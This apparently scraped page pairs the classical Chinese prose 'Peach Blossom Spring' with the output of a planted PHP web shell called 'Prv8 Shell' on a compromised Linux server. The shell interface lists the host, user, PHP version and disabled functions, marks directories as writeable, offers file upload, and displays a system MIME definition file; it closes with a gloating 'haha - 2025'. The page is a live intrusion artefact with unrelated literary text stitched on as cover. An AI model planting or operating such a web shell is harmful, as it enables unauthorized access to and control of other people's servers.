晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/mime/message/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/mime/message/news.xml
<?xml version="1.0" encoding="utf-8"?>
<mime-type xmlns="http://www.freedesktop.org/standards/shared-mime-info" type="message/news">
  <!--Created automatically by update-mime-database. DO NOT EDIT!-->
  <comment>Usenet news message</comment>
  <comment xml:lang="ar">رسالة أخبار Usenet</comment>
  <comment xml:lang="az">Usenet xəbərlər ismarışı</comment>
  <comment xml:lang="be@latin">Navina Usenet</comment>
  <comment xml:lang="bg">Съобщение — Usenet</comment>
  <comment xml:lang="ca">missatge de notícies Usenet</comment>
  <comment xml:lang="cs">příspěvek do diskusních skupin Usenet</comment>
  <comment xml:lang="cy">Neges newyddion Usenet</comment>
  <comment xml:lang="da">Usenetnyhedsmeddelelse</comment>
  <comment xml:lang="de">Usenet-News-Nachricht</comment>
  <comment xml:lang="el">Μήνυμα ομάδων συζητήσεων Usenet</comment>
  <comment xml:lang="en_GB">Usenet news message</comment>
  <comment xml:lang="eo">novaĵmesaĝo de Usenet</comment>
  <comment xml:lang="es">mensaje de noticias de Usenet</comment>
  <comment xml:lang="eu">Usenet berrien mezua</comment>
  <comment xml:lang="fi">nyyssiviesti</comment>
  <comment xml:lang="fo">Usenet news boð</comment>
  <comment xml:lang="fr">message de groupe d'échange Usenet</comment>
  <comment xml:lang="ga">teachtaireacht nuachta Usenet</comment>
  <comment xml:lang="gl">mensaxes de noticias de Usenet</comment>
  <comment xml:lang="he">הודעת חדשות של Usenet</comment>
  <comment xml:lang="hr">Usenet poruka novosti</comment>
  <comment xml:lang="hu">USENET-hírcsoportüzenet</comment>
  <comment xml:lang="ia">Message de gruppo Usenet</comment>
  <comment xml:lang="id">Pesan berita Usenet</comment>
  <comment xml:lang="it">Messaggio news Usenet</comment>
  <comment xml:lang="ja">Usenet news メッセージ</comment>
  <comment xml:lang="kk">Usenet жаңалық мәлімдемесі</comment>
  <comment xml:lang="ko">유즈넷 뉴스 메시지</comment>
  <comment xml:lang="lt">Usenet naujienų žinutė</comment>
  <comment xml:lang="lv">Usenet jaunumu ziņojums</comment>
  <comment xml:lang="ms">Mesej berita USENET</comment>
  <comment xml:lang="nb">Usenet nyhetsmelding</comment>
  <comment xml:lang="nl">Usenet-nieuwsbericht</comment>
  <comment xml:lang="nn">USENET diskusjonsmelding</comment>
  <comment xml:lang="oc">messatge de grop d'escambi Usenet</comment>
  <comment xml:lang="pl">Wiadomość grupy dyskusyjnej</comment>
  <comment xml:lang="pt">mensagem de notícias Usenet</comment>
  <comment xml:lang="pt_BR">Mensagem de notícias da Usenet</comment>
  <comment xml:lang="ro">Mesaj Usenet de știri </comment>
  <comment xml:lang="ru">Новостное сообщение Usenet</comment>
  <comment xml:lang="sk">Príspevok do diskusných skupín Usenet</comment>
  <comment xml:lang="sl">novičarsko sporočilo Usenet</comment>
  <comment xml:lang="sq">Mesazh lajmesh Usenet</comment>
  <comment xml:lang="sr">Порука новости Јузнета</comment>
  <comment xml:lang="sv">Usenet-diskussionsgruppsmeddelande</comment>
  <comment xml:lang="tr">Usenet haber iletisi</comment>
  <comment xml:lang="uk">повідомлення новин Usenet</comment>
  <comment xml:lang="vi">Thông điệp tin tức USENET</comment>
  <comment xml:lang="zh_CN">Usenet 新闻信</comment>
  <comment xml:lang="zh_TW">Usenet 新聞訊息</comment>
  <generic-icon name="text-x-generic"/>
  <sub-class-of type="text/plain"/>
</mime-type>

haha - 2025